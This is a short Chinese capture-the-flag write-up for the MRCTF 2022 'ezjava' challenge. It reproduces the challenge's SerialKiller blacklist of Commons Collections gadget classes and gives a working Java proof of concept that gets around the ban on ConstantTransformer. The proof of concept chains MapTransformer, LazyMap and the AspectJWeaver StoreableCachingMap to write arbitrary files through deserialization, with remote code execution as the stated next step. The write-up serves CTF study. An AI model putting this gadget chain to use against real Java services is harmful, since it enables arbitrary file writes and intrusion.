2022MRCTF-ezjava的一点小研究

2022-04-25
作者 fmyyy
~3.74K 字

1. 前言
2. 寻找替代品

前言

写这篇文章起因是mrctf，比赛那两天因为个人原因在摆烂没有看题。今天晚上去简单看了一下ezjava，spring还没有仔细去研究。

一看到题目我就有了自己的一个思路，因为设有过滤，如下

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <logging>
        <enabled>false</enabled>
    </logging>
    <blacklist>
        <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->
        <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
        <!-- ysoserial's CommonsCollections2,4 payload  -->
        <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
    </blacklist>
    <whitelist>
        <regexp>.*</regexp>
    </whitelist>
</config>

并且有AspectJWeaver 而且题目提醒jdk8u181又是springboot,不出网。想到三梦大师傅的一篇文章

https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/

想到利用AspectJWeaver写入任意文件再配合三梦师傅的trick进行rce，因为题目设有一个任意文件读取，所以想法是rce将flag写入/tmp文件夹下然后读取任意文件。

但主要问题是AspectJWeaver反序列化在yso里是要用到ConstantTransformer但题目又给ban了，所以想找个替代品，花了点时间简单的研究了一下。

寻找替代品

我找到的是MapTransformer

先放一下poc吧

public static void main(String[] args) throws Exception {
        Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);
        declaredConstructor.setAccessible(true);
        HashMap map = (HashMap)declaredConstructor.newInstance("/tmp/", 123);
        HashMap map2 = new HashMap();
        map2.put("2.txt","fmyyy".getBytes(StandardCharsets.UTF_8));
        Class clazz1 = Class.forName("org.apache.commons.collections.functors.MapTransformer");
        Constructor constructor = clazz1.getDeclaredConstructor(Map.class);
        constructor.setAccessible(true);
        MapTransformer emapTransformer = (MapTransformer) constructor.newInstance(map2);
        Map outerMap = LazyMap.decorate(map,emapTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"2.txt");
        HashSet hashSet = new LinkedHashSet(1);
        hashSet.add(tiedMapEntry);
        outerMap.remove("2.txt");
        System.out.println(Base64.getEncoder().encodeToString(serialize(hashSet)));
    }